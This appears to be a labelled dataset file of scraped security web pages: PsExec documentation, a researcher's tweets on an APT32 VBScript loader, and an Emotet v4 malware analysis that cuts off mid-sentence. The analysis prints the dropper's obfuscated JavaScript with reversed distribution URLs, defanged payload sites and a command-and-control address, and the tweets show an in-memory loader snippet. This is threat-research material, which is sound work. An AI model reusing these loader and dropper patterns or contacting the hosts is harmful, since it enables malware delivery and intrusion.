ZetaMatic","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0" -"PsExec - Windows Sysinternals | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents PsExec v2.2 06/29/2016 4 minutes to read In this article By Mark Russinovich Published: June 29, 2016 Download PsTools (2.7 MB) Introduction Utilities like Telnet and remote control programs like Symantec's PC Anywhere let you execute programs on remote systems, but they can be a pain to set up and require that you install client software on the remote systems that you wish to access. PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems. Note: some anti-virus scanners report that one or more of the tools are infected with a ""remote admin"" virus. None of the PsTools contain viruses, but they have been used by viruses, which is why they trigger virus notifications. Installation Just copy PsExec onto your executable path. Typing ""psexec"" displays its usage syntax. Using PsExec See the July 2004 issue of Windows IT Pro Magazine for Mark's article that covers advanced usage of PsExec. Usage: psexec [\\\\computer[,computer2[,...] | @file\\]][-u user [-p psswd][-n s][-r servicename][-h][-l][-s|-e][-x][-i [session]][-c executable [-f|-v]][-w directory][-d][-][-a n,n,...] cmd [arguments] Parameter Description -a Separate processors on which the application can run with commas where 1 is the lowest numbered CPU. For example, to run the application on CPU 2 and CPU 4, enter: ""-a 2,4"" -c Copy the specified executable to the remote system for execution. If you omit this option the application must be in the system path on the remote system. -d Don't wait for process to terminate (non-interactive). -e Does not load the specified account\xe2\x80\x99s profile. -f Copy the specified program even if the file already exists on the remote system. -i Run the program so that it interacts with the desktop of the specified session on the remote system. If no session is specified the process runs in the console session. -h If the target system is Vista or higher, has the process run with the account's elevated token, if available. -l Run process as limited user (strips the Administrators group and allows only privileges assigned to the Users group). On Windows Vista the process runs with Low Integrity. -n Specifies timeout in seconds connecting to remote computers. -p Specifies optional password for user name. If you omit this you will be prompted to enter a hidden password. -r Specifies the name of the remote service to create or interact with. -s Run the remote process in the System account. -u Specifies optional user name for login to remote computer. -v Copy the specified file only if it has a higher version number or is newer on than the one on the remote system. -w Set the working directory of the process (relative to remote computer). -x Display the UI on the Winlogon secure desktop (local system only). -priority Specifies -low, -belownormal, -abovenormal, -high or -realtime to run the process at a different priority. Use -background to run at low memory and I/O priority on Vista. computer Direct PsExec to run the application on the remote computer or computers specified. If you omit the computer name, PsExec runs the application on the local system, and if you specify a wildcard (\\\\*), PsExec runs the command on all computers in the current domain. @file PsExec will execute the command on each of the computers listed in the file. cmd Name of application to execute. arguments Arguments to pass (note that file paths must be absolute paths on the target system). -accepteula This flag suppresses the display of the license dialog. You can enclose applications that have spaces in their name with quotation marks e.g. psexec \\\\marklap""c:\\long name app.exe"" Input is only passed to the remote system when you press the Enter key. Typing Ctrl-C terminates the remote process. If you omit a user name, the process will run in the context of your account on the remote system, but will not have access to network resources (because it is impersonating). Specify a valid user name in the Domain\\User syntax if the remote process requires access to network resources or to run in a different account. Note that the password and command are encrypted in transit to the remote system. Error codes returned by PsExec are specific to the applications you execute, not PsExec. Examples This article I wrote describes how PsExec works and gives tips on how to use it: The following command launches an interactive command prompt on \\\\marklap: psexec \\\\marklap cmd This command executes IpConfig on the remote system with the /all switch, and displays the resulting output locally: psexec \\\\marklap ipconfig /all This command copies the program test.exe to the remote system and executes it interactively: psexec \\\\marklap -c test.exe Specify the full path to a program that is already installed on a remote system if its not on the system's path: psexec \\\\marklap c:\\bin\\test.exe Run Regedit interactively in the System account to view the contents of the SAM and SECURITY keys:: psexec -i -d -s c:\\windows\\regedit.exe To run Internet Explorer as with limited-user privileges use this command: psexec -l -d ""c:\\program files\\internet explorer\\iexplore.exe"" Download PsTools (2.7 MB) PSTools PsExec is part of a growing kit of Sysinternals command-line tools that aid in the administration of local and remote systems named PsTools. Runs on: Client: Windows Vista and higher. Server: Windows Server 2008 and higher. Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0" -"Nick Carr op Twitter: ""@bwithnell and I shared an earlier version of this #APT32 phish technique: https://t.co/IJ65bqXVrBRelevant slide screenshots attached.They are continually improving each phase of their dynamic, multi-stage infection chain.\xe2\x80\xa6 https://t.co/imey65wCyt"" JavaScript is uitgeschakeld in je browser. Wil je doorgaan met de oude versie van Twitter? Ja Ga naar de content Door de services van Twitter te gebruiken, ga je akkoord met ons beleid voor Cookiegebruik. Wij en onze partners zijn wereldwijd actief en gebruiken cookies onder andere voor analyses, personalisatie en advertenties. Sluiten Startpagina Startpagina Startpagina, huidige pagina. Over Zoekopdracht Twitter doorzoeken Opgeslagen zoekopdrachten Verwijderen In dit gesprek Geverifieerd accountAfgeschermde Tweets\xc2 @ Voorgestelde gebruikers Geverifieerd accountAfgeschermde Tweets\xc2 @ Geverifieerd accountAfgeschermde Tweets\xc2 @ Taal: Nederlands Bahasa Indonesia Bahasa Melayu Catal\xc3 \xc4\x8ce\xc5\xa1tina Dansk Deutsch English English UK Espa\xc3\xb1ol Filipino Fran\xc3\xa7ais Hrvatski Italiano Magyar Norsk Polski Portugu\xc3\xaas Rom\xc3\xa2n\xc4\x83 Sloven\xc4\x8dina Suomi Svenska Ti\xe1\xba\xbfng Vi\xe1\xbb\x87t T\xc3\xbcrk\xc3\xa7e \xce\x95\xce\xbb\xce\xbb\xce\xb7\xce\xbd\xce\xb9\xce\xba\xce\xac \xd0\x91\xd1\x8a\xd0\xbb\xd0\xb3\xd0\xb0\xd1\x80\xd1\x81\xd0\xba\xd0\xb8 \xd0\xb5\xd0\xb7\xd0\xb8\xd0\xba \xd0 \xd1\x83\xd1\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\xb9 \xd0\xa1\xd1\x80\xd0\xbf\xd1\x81\xd0\xba\xd0\xb8 \xd0\xa3\xd0\xba\xd1\x80\xd0\xb0\xd1\x97\xd0\xbd\xd1\x81\xd1\x8c\xd0\xba\xd0\xb0 \xd0\xbc\xd0\xbe\xd0\xb2\xd0\xb0 \xd7\xa2\xd6\xb4\xd7\x91\xd6\xb0\xd7\xa8\xd6\xb4\xd7\x99\xd7\xaa \xd8\xa7\xd9\x84\xd8\xb9\xd8\xb1\xd8\xa8\xd9\x8a\xd8\xa9 \xd9\x81\xd8\xa7\xd8\xb1\xd8\xb3\xdb\x8c \xe0\xa4\xae\xe0\xa4\xb0\xe0\xa4\xbe\xe0\xa4 \xe0\xa5\x80 \xe0\xa4\xb9\xe0\xa4\xbf\xe0\xa4\xa8\xe0\xa5\x8d\xe0\xa4\xa6\xe0\xa5\x80 \xe0\xa6\xac\xe0\xa6\xbe\xe0\xa6\x82\xe0\xa6\xb2\xe0\xa6\xbe \xe0\xaa\x97\xe0\xab\x81\xe0\xaa\x9c\xe0\xaa\xb0\xe0\xaa\xbe\xe0\xaa\xa4\xe0\xab\x80 \xe0\xae\xa4\xe0\xae\xae\xe0\xae\xbf\xe0\xae\xb4\xe0\xaf\x8d \xe0\xb2\x95\xe0\xb2\xa8\xe0\xb3\x8d\xe0\xb2\xa8\xe0\xb2\xa1 \xe0\xb8 \xe0\xb8\xb2\xe0\xb8\xa9\xe0\xb8\xb2\xe0\xb9\x84\xe0\xb8\x97\xe0\xb8\xa2 \xed\x95\x9c\xea\xb5\xad\xec\x96\xb4 \xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e \xe7\xae\x80\xe4\xbd\x93\xe4\xb8\xad\xe6\x96\x87 \xe7\xb9\x81\xe9\xab\x94\xe4\xb8\xad\xe6\x96\x87 Heb je al een account? Inloggen Heb je al een account? Ingelogd blijven \xc2\xb7 Wachtwoord vergeten? Nieuw op Twitter? Registreren Profiel van ItsReallyNick Nick Carr @ItsReallyNick Tweets Nick Carr @ItsReallyNick Security person. Equal parts adversary tradecraft, threat research, incident response, and trolling at @Mandiant/@FireEye. #StateOfTheHack co-host: http://feye.io/soh\xc2 Washington, DC linkedin.com/in/nicholascar\xe2\x80\xa6 Geregistreerd in september 2009 Tweets \xc2\xa9 2019 Twitter Over Helpcentrum Voorwaarden Privacybeleid Cookies Advertentie-informatie Verbergen Sluiten Vorige Volgende Sluiten Naar het profiel van een persoon gaan Opgeslagen zoekopdrachten Verwijderen In dit gesprek Geverifieerd accountAfgeschermde Tweets\xc2 @ Voorgestelde gebruikers Geverifieerd accountAfgeschermde Tweets\xc2 @ Geverifieerd accountAfgeschermde Tweets\xc2 @ Sluiten Deze Tweet uitlichten Sluiten Blokkeren Annuleren Blokkeren Tweet met locatie Je kan informatie over je locatie aan je Tweets toevoegen, bijvoorbeeld je stad of exacte locatie, via het web en applicaties van derden. Je kan altijd de locatiegeschiedenis van je Tweets verwijderen. Meer informatie Aanzetten Nu niet Sluiten Jouw lijsten Sluiten Een nieuwe lijst maken Lijstnaam Omschrijving Maximaal 100 tekens, optioneel Privacy Openbaar \xc2\xb7 Iedereen kan deze lijst volgen Afgeschermd \xc2\xb7 Alleen jij hebt toegang tot deze lijst Lijst opslaan Sluiten Sluiten Tweet-URL kopi\xc3\xabren Hier is de URL van deze Tweet. Kopieer deze om hem eenvoudig te delen met vrienden. Sluiten Deze Tweet embedden Embed this Video Voeg deze Tweet toe aan je website door de onderstaande code te kopi\xc3\xabren. Meer informatie Voeg deze video toe aan je website door de onderstaande code te kopi\xc3\xabren. Meer informatie Hmm, er is een fout opgetreden bij het bereiken van de server. Opnieuw proberen? Oorspronkelijke Tweet toevoegen Media insluiten Door content van Twitter in te sluiten op je website of in je app, ga je akkoord met de Overeenkomst voor ontwikkelaars en het Ontwikkelaarsbeleid van Twitter. Voorbeeld Sluiten Waarom je deze advertentie te zien krijgt Sluiten Inloggen op Twitter Ingelogd blijven \xc2\xb7 Wachtwoord vergeten? Heb je geen account? Registreren \xc2\xbb Sluiten Registreren op Twitter Niet op Twitter? Registreer, richt je ogen op de dingen waar je om geeft en ontvang updates wanneer er iets gebeurt. Registreren Heb je al een account? Inloggen \xc2\xbb Sluiten Tweerichtings-snelcode's (verzenden en ontvangen): Land Code Voor klanten van Verenigde Staten 40404 (alles) Canada 21212 (alles) Verenigd Koninkrijk 86444 Vodafone, Orange, 3, O2 Brazili\xc3\xab 40404 Nextel, TIM Ha\xc3\xafti 40404 Digicel, Voila Ierland 51210 Vodafone, O2 India 53000 Bharti Airtel, Videocon, Reliance Indonesi\xc3\xab 89887 AXIS, 3, Telkomsel, Indosat, XL Axiata Itali\xc3\xab 4880804 Wind 3424486444 Vodafone \xc2\xbb Sms-snelcodes voor andere landen weergeven Sluiten Bevestiging Sluiten \xc2 Sluiten Alles overslaan Welkom thuis! Je besteedt het grootste gedeelte van je tijd op deze tijdlijn. Je krijgt hier direct updates over zaken die belangrijk voor je zijn. Werken deze Tweets niet voor je? Houd je muis boven de profielfoto en klik op de knop Volgend om een account te ontvolgen. Een klein gebaar zegt meer dan duizend woorden Tik op het hartje als je een Tweet ziet die je leuk vindt. Zo weet degene die hem heeft geschreven dat je de liefde hebt gedeeld. Verspreid het nieuws De snelste manier om de Tweet van een ander te delen met je volgers is met een Retweet. Tik op het pictogram om hem meteen te versturen. Praat mee Stuur een antwoord om te laten weten wat je van een Tweet vindt. Zoek een onderwerp waarin je ge\xc3\xafnteresseerd bent en doe meteen mee met het gesprek. Volg het laatste nieuws Ontdek direct waar mensen nu over praten. Vind meer van wat je leuk vindt Volg meer accounts om meteen updates te krijgen over onderwerpen die je belangrijk vindt. Kom er achter wat er gebeurt Bekijk direct de nieuwste gesprekken over welk onderwerp dan ook. Mis geen enkel Moment meer Blijf op de hoogte van de beste verhalen terwijl ze worden verteld. Terug Volgende Volgende Tweet van gebruiker Nick Carr\xe2\x80\x8f\xc2 @ItsReallyNick 22 dec. 2017 Meer Tweet-URL kopi\xc3\xabren Tweet embedden Fresh APT loader technique for today's #DailyScriptlet: cs=Array(#,#,#,#,...): cmd="""": For each c in cs: cmd=cmd&Chr(c): Next: cmd=cmd&vbcrlf: Execute(cmd) This is remotely loaded into memory from source phishing doc that uses renamed wscript & pubprn.vbs to load COM Scriptlet.pic.twitter.com/ReQcs2yHD9 5 antwoorden 265 retweets 422 vind-ik-leuks Beantwoorden 5 Retweeten 265 Geretweet 265 Leuk 422 Leuk 422 Deze collectie tonen Nick Carr\xe2\x80\x8f\xc2 @ItsReallyNick 22 dec. 2017 Volgen @ItsReallyNick volgen Volg je nu Je volgt @ItsReallyNick Ontvolgen @ItsReallyNick ontvolgen Geblokkeerd @ItsReallyNick geblokkeerd Deblokkeren @ItsReallyNick deblokkeren In afwachting Volgverzoek aan @ItsReallyNick in behandeling Annuleren Je volgverzoek aan @ItsReallyNick annuleren Meer Tweet-URL kopi\xc3\xabren Tweet embedden @bwithnell and I shared an earlier version of this #APT32 phish technique: https://twitter.com/ItsReallyNick/status/915800233455575040\xc2 \xe2\x80\xa6 Relevant slide screenshots attached. They are continually improving each phase of their dynamic, multi-stage infection chain.pic.twitter.com/pyfgzKaiag 13:37 - 22 dec. 2017 23 retweets 45 vind-ik-leuks 2 antwoorden 23 retweets 45 vind-ik-leuks Beantwoorden 2 Retweeten 23 Geretweet 23 Leuk 45 Leuk 45 Nieuw gesprek Nick Carr\xe2\x80\x8f\xc2 @ItsReallyNick 22 dec. 2017 Meer Tweet-URL kopi\xc3\xabren Tweet embedden SPOILER: the VBScript *still* doesn't properly convert temperatures as promised, but it *will* load good tidings of great Cobalt Strike pic.twitter.com/mxfQ6uDmV6 John Lambert 2 antwoorden 4 retweets 19 vind-ik-leuks Beantwoorden 2 Retweeten 4 Geretweet 4 Leuk 19 Leuk 19 Deze collectie tonen Nick Carr\xe2\x80\x8f\xc2 @ItsReallyNick 22 dec. 2017 Meer Tweet-URL kopi\xc3\xabren Tweet embedden Here is a different malicious Temperature Conversion example More info: https://twitter.com/ItsReallyNick/status/915331407630802945\xc2 \xe2\x80\xa6pic.twitter.com/aJLS9WDyZz 0 antwoorden 1 retweet 2 vind-ik-leuks Beantwoorden Retweeten 1 Geretweet 1 Leuk 2 Leuk 2 Deze collectie tonen Einde van gesprek Nick Carr\xe2\x80\x8f\xc2 @ItsReallyNick 22 dec. 2017 Meer Tweet-URL kopi\xc3\xabren Tweet embedden I know @subTee and @enigma0x3 just love the slide that shows timestamps of APTweet32 technique adoption. 0 antwoorden 1 retweet 2 vind-ik-leuks Beantwoorden Retweeten 1 Geretweet 1 Leuk 2 Leuk 2 Deze collectie tonen Bedankt, Twitter gebruikt dit om je tijdlijn te verbeteren. Ongedaan maken Ongedaan maken Terug naar boven \xe2\x86\x91 Het laden lijkt wat langer te duren. Twitter is mogelijk overbelast of ondervindt een tijdelijke onderbreking. Probeer het opnieuw of bekijk de Twitter-status voor meer informatie. Uitgelichte Tweet false \xc2\xa9 2019 Twitter Over Helpcentrum Voorwaarden Privacybeleid Cookies Advertentie-informatie","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0" -"ReverseEngineering \xe2\x80\x93 Daniel Manea's Blog \xc2 No products in cart. HOME DOWNLOADS Blogs InfoSec Blog Partner\xe2\x80\x99s Blog #1 Partner\xe2\x80\x99s Blog #2 Partner\xe2\x80\x99s Blog #3 OUR TEAM Portofolio Clients Services About Us Shop CONTACT Aug 17, 2014 Breaking News: Sed ut perspiciatis, unde omnis iste natus error sit voluptatem accusantium doloremque laudantium Category: ReverseEngineering Home ReverseEngineering Emotet v4 Analysis May 25, 201701Latest news, Malware, ReverseEngineering, Zero-DayTags: 0-day, analysis, Emotet, Malware Introduction: Emotet is a modular Trojan horse, which was firstly noticed in June 2014 by Trend Micro. This malware is related to other types like Geodo, Bugat or Dridex, which are attributed by researches to the same family. Emotet was discovered as an advanced banker \xe2\x80\x93 it\xe2\x80\x99s first campaign targeted clients of German and Austrian banks. Victims\xe2\x80\x99 bank accounts were infiltrated by a web browser infection which intercept communication between webpage and bank servers. In such scenario, malware hooks specific routines to sniff network activity and steal information. This technique is typical for modern banking malware and is widely known as Man-in-the-Browser attack. Next, modified release of Emotet banker (v2) has taken advantage of another technique \xe2\x80\x93 automation of stealing money from hijacked bank accounts using ATSs (Automated Transfer Systems, more informations on page 20 of CERT Polska Report 2013). This technology is also used in other bankers. Good examples are ISFB (Gozi) or Tinba. At the beginning of April 2017, we observed wide malspam campaign in Poland, distributing fraudulent mails. E-mails were imitating delivery notifications from DHL logistics company and contained malicious link, which referred to brand-new, unknown variant of Emotet. Malware distributed in this campaign differed from previously known versions. Behavior and communication methods were similar, but malware used different encryption and we noticed significant changes in its code. Thus we called this modification version 4. Dropper: Links from the phishing campaign pointed to a dropper, which downloaded and executed malware. Dropper was written in Javascript and wasn\xe2\x80\x99t highly obfuscated. It was fairly easy to notice, that strings with distribution site URLs were just reversed. $uaU$Fh71K_E6TQAdMPz = function(n) { if (typeof $uaU$Fh71K_E6TQAdMPz.list[n] == \xe2\x80\x9cstring\xe2\x80\x9c) return $uaU$Fh71K_E6TQAdMPz.list[n].split(\xe2\x80\x9c\xe2\x80\x9c).reverse().join(\xe2\x80\x9c\xe2\x80\x9c); return $uaU$Fh71K_E6TQAdMPz.list[n]; }; $uaU$Fh71K_E6TQAdMPz.list = [ \xe2\x80\x9ctamroF eliF detroppuS toN\xe2\x80\x9c, \xe2\x80\x9cllehS.tpircSW\xe2\x80\x9c, \xe2\x80\x9ctcejbOmetsySeliF.gnitpircS\xe2\x80\x9c, \xe2\x80\x9c/1506daolnwod/ku.oc.aidemlaerehte//:ptth\xe2\x80\x9c, \xe2\x80\x9c/7751daolnwod/moc.erawtfoscetni//:ptth\xe2\x80\x9c, \xe2\x80\x9cPTTHLMX.2LMXSM\xe2\x80\x9c, \xe2\x80\x9c/3030daolnwod/moc.yhpargotohpnivrinad//:ptth\xe2\x80\x9c, \xe2\x80\x9c/3946daolnwod/moc.aidemsretsacdnarb//:ptth\xe2\x80\x9c, \xe2\x80\x9c/4769daolnwod/lp.moc.hcetka//:ptth\xe2\x80\x9c, \xe2\x80\x9cmaertS.BDODA\xe2\x80\x9c, \xe2\x80\x9c.)dedoced yltcerroc t\xe2\x80\x99nsaw dna tnemhcatta liame na sa tnes saw ti ,elpmaxe rof( deriaper eb ton dluoc dna degamad si elif ehT .tnemucod siht gninepo rorre na saw erehT\xe2\x80\x9c ]; \xe2\x80\xa6 Distribution sites found in dropper: hxxp://etherealmedia.co.uk/download6051/ hxxp://intecsoftware.com/download1577/ hxxp://danirvinphotography.com/download0303/ hxxp://brandcastersmedia.com/download6493/ hxxp://aktech.com.pl/download9674/ Main module: An interesting thing in Emotet is its modular structure. Main module dropped by script doesn\xe2\x80\x99t contain anything harmful and is used only to download another modules from C&C, which perform specific tasks. Sample dropped by script is protected using some generic packer to avoid recognition by AV software. After unpacking, malware loads libraries and resolves WinAPI routines used in encryption and communication with C&C. Names of specific functions are obfuscated and stored as array of hashes. Emotet uses simple sdbm hash function for this purpose. To make hashes more varied, values are additionally XORed with some constant specified in binary. int hashValue = 0; for ( char c = *libraryName; *libraryName; c = *(++libraryName) ) { hashValue = c + 65599 * hashValue; } hashValue = xorKey ^ hashValue; Strings that are distinctive for Emotet are also encoded using 4-byte XOR key, different for each string. Main executable file contains also a list of IP addresses of C&C servers. Similar to previous versions, sample communicates with Command&Control using plain HTTP. Encryption: The most significant change in new version is usage of different encryption algorithm. In previous releases, communication was encrypted using RC4. In fourth version, Emotet switched to 128-bit AES in CBC mode. Intercepted request: GET / HTTP/1.1 Cookie: DD29=e8fd7YpIy2Ui+U7bz1/cQD9bH4KHshzaN2SpKoPEnC1D85K4Zrwdb6dBoHoDC5GgvcgecLN20kpk1lQxus6AJEiutWK4hBSWFbQUmtyr3LxI+/3MFdKn1lo7nWyEw+sCzKL6y34njzJwoDwd3I5BJD0NqUL+iEnbB1EWXQhxcXihFeFS+TlRsuMxOl3Xmyo2p0FuHX+hyGoO19dzLpEMK1LhXGkCkha+kPGFqfxECUoQndFLiMRgXAj4Omw/Ywc6Ba+9d5fyZNLEKbtkxsfO3KmQSLoE4TkITRri1kSMCqnNlb7PTroCQmoJvRHBiEGla6VzgmCQ5tsspBIuaWc2ct9hX9c4SLZbTnW6mPjLIh4VeDJ7gNpwhedyLHcnr3GWjILLwFPk7RmgHglXXI2qEOXcwbRhtaNuI8RrkMQj37Rov147wEGBtt+GlQR9/9oFXoBXH9f6m5K4ULP3CEnDGGJVEtfkgt7yZ082wAIfVzow1szvMF4bF7MFaCPbHA9hygyf9Uc8GwDjM4CndFxUwROWmEgQKjIk24PIj5Y+oz4jF User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; SLCC1; .NET CLR 1.1.4322) Host: 206.214.220.79:8080 Connection: Keep-Alive Cache-Control: no-cache Request body is passed in Cookie header. Cookie\xe2\x80\x99s key is random 16-bit hexadecimal number, with Base64-encoded binary blob as value. After decoding, structure of request is described below: Offset Field name 0..95 asymmetrically encrypted 128-bit AES key used for request encryption 96..115 SHA1 hash of plaintext request body 116..x Request body, AES-128-CBC encrypted Before sending, malware performs key generation. In the first stage, Emotet loads 768-bit RSA public key, stored in executable. Then, AES symmetric key is generated using cryptographically secure PRNG (CryptGenKey). Finally, generated key is encrypted using previously loaded public key and attached to the request using PKCS#1v2.0 (OAEP) padding. Cryptography is based on Microsoft CryptoAPI mechanisms. Key generation and public key import: if ( fn_CryptAcquireContextW(cryptCtx->hProv, 0, 0, PROV_RSA_AES, 0xF0000040) ) { if ( fn_CryptDecodeObjectEx( 65537, RSA_CSP_PUBLICKEYBLOB, RSA_ENCODED, RSA_ENCODED_LEN, CRYPT_DECODE_ALLOC_FLAG, 0, &prsaKey, &prsaKeyLen) ) { v2 = fn_CryptImportKey(cryptCtx->hProv, prsaKey, prsaKeyLen, 0, 0, &cryptCtx->hCryptRSA); LocalFree(prsaKey); if ( v2 ) { if ( fn_CryptGenKey(cryptCtx->hProv, CALG_AES_128, CRYPT_MODE_CBC, &cryptCtx->hCryptAES) ) { if ( fn_CryptCreateHash(cryptCtx->hProv, CALG_SHA1, 0, 0, &cryptCtx->hCryptSHA1) ) return 1; fn_CryptDestroyKey(cryptCtx->hCryptAES); } fn_CryptDestroyKey(cryptCtx->hCryptRSA); } } fn_CryptReleaseContext(cryptCtx->hProv, 0); } Request encryption: if ( !fn_CryptDuplicateHash(cryptCtx->hCryptSHA1, 0, 0, &hHash) ) goto ERROR; memmove(pRequest, req->bufPtr, req->bufLen); if ( fn_CryptEncrypt(cryptCtx->hCryptAES, hHash, 1, 0, pRequest, &dwRequestLen, dwBufLen) ) { if ( fn_CryptExportKey(cryptCtx->hCryptAES, cryptCtx->hCryptRSA, 1, CRYPT_OAEP, encKey, &encKeyLen) ) { memmove(encReq, encKey, 96) if ( fn_CryptGetHashParam(hHash, HP_HASHVAL, encReq + 96, &shaLen, 0) ) result = 1; } // \xe2\x80\xa6 } Communication with C&C: Received response is presented below: \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 Communication protocol is based on Google Protocol Buffers. Protocol Buffers is a mechanism, which allows developers to simply build own protocols using set of message structure declarations, written in a specific protobuf language. Protocol Buffers generates parsing and serializing modules, which can be directly used in developed solution. Protobuf supports wide set of languages, including Python, Java, PHP or C++. Using this kind of mechanisms isn\xe2\x80\x99t something new in malware, protobuf-based protocols can be found for example in Gootkitmalware. Unfortunately, Emotet\xe2\x80\x99s case is a bit different. Protobuf code inside malware is slightly modified and provides additional type of encoding, which is not specified in the original Protocol Buffers documentation. Because of this small difference, response can\xe2\x80\x99t be properly decoded using generic protobuf parsers e.g. protoc with \xe2\x80\x93decode_raw argument fails. Anyway, original protocol definitions were successfully reversed: syntax = \xe2\x80\x9cproto2\xe2\x80\x9d; message RegistrationRequest { message RegistrationRequestBody { required string botId = 1; required fixed32 osVersion = 2; required string procList = 3; required string mailClient = 4; } required int32 command = 1 [default = 16]; optional RegistrationRequestBody registrationRequest = 2; } Registration request contains command id (16) and some information about host operating system. Each field of RegistrationRequestBody structure has been described below: botId field This field provides information about values specific to victim\xe2\x80\x99s machine and probably is meant to be unique between bot instances. [host_name]_[locale]_[host_id] e.g. CERTCERT_PL_32122958 host_name \xe2\x80\x93 contains only chars from 0..9a..zA..Z- charset, another chars are replaced by \xe2\x80\x98?\xe2\x80\x99 locale \xe2\x80\x93 contains information about locale settings. In this case, dash \xe2\x80\x98-\xe2\x80\x98 is also forbidden host_id \xe2\x80\x93 32-bit hexadecimal value of sdbm hash (used also by API resolver) from current user login xored by Windows drive serial number. osVersion field: 32-bit field, which describes version of Windows running on infected host. It\xe2\x80\x99s a bit field, where each groups of bits contains specific value of OSVERSIONINFOEX structure. Bits Description 0..3 dwMajorVersion 4..7 dwMinorVersion 8..11 wServicePackMajor 12..15 wServicePackMinor 16..19 wProductType 20..23 SYSTEM_INFO.wProcessorArchitecture procList field: Contains comma-separated list of currently running process names. mailClient field: Provides information about used mail client (read from \xe2\x80\x9cHKLM\\Software\\Clients\\Mail\xe2\x80\x9d registry key value). If it\xe2\x80\x99s Microsoft Outlook and it\xe2\x80\x99s MAPI DLL is 64-bit, name is followed by \xe2\x80\x9d x64\xe2\x80\xb3 suffix. Response: If a registration request was received, C&C server returns a list of Emotet modules. HTTP status response is always 404 Not Found, regardless of the fact whether request was built properly or not. In this case, response body contains encrypted response. HTTP/1.1 404 Not Found Server: nginx Content-Type: text/html; charset=UTF-8 Content-Length: 728740 Connection: keep-alive alc:*qLud<d^G\xcc\xbe>\xe2\x80\xa6 Structure of encrypted response is quite similar to the request structure. Encrypted payload starts at 116-byte of received message. Response is encrypted using the same AES key, which was passed in request. After successful decryption, we obtain protobuf-like message with list of MZ binaries or URLs. message Module { required int32 type = 1; required bytes blob = 2; } message ModuleResponse { repeated Module modules = 1 [packed=true]; required uint32 timestamp = 2; } In this case, malware uses non-standard encoding. Field repeated Module modules = 1 [packed=true]; is illegal in protobuf language, because packed attribute can be used only for primitive numeric type of repeated fields. Surprisingly, list of modules is encoded like packed list of Message objects. Here is a low-level C&C response description, using Protocol Buffers encoding primitives: Type Name Comment ModuleResponse TAG tag 0x0a VARINT length of \xe2\x80\x98modules\xe2\x80\x99 list Module (repeated) VARINT length of Module element TAG \xe2\x80\x98type\xe2\x80\x99 field tag 0x08 VARINT type TAG \xe2\x80\x98blob\xe2\x80\x99 field type 0x12 VARINT length of \xe2\x80\x98blob\xe2\x80\x99 RAW \xe2\x80\x98blob\xe2\x80\x99 content \xe2\x80\xa6 It should be noted that elements of Modules are repeated without Module message tag, which is specific to packed encoding, type field: This field defines type of blob content and specifies method of module execution. Type field can be one of the following values: Value Description 1 Store in %TEMP% and execute with -U argument 2 Like \xe2\x80\x981\xe2\x80\x99, but without arguments 3 Download and execute file from URL specified \xe2\x80\x98blob\xe2\x80\x99 4 Use own internal loader \xe2\x80\x93 load and execute PE file from \xe2\x80\x98blob\xe2\x80\x99 5 Uninstall \xe2\x80\x93 delete related \xe2\x80\x98.lnk\xe2\x80\x99 from Startup folder default Do nothing Modules: In previous versions, Emotet modules were providing the following set 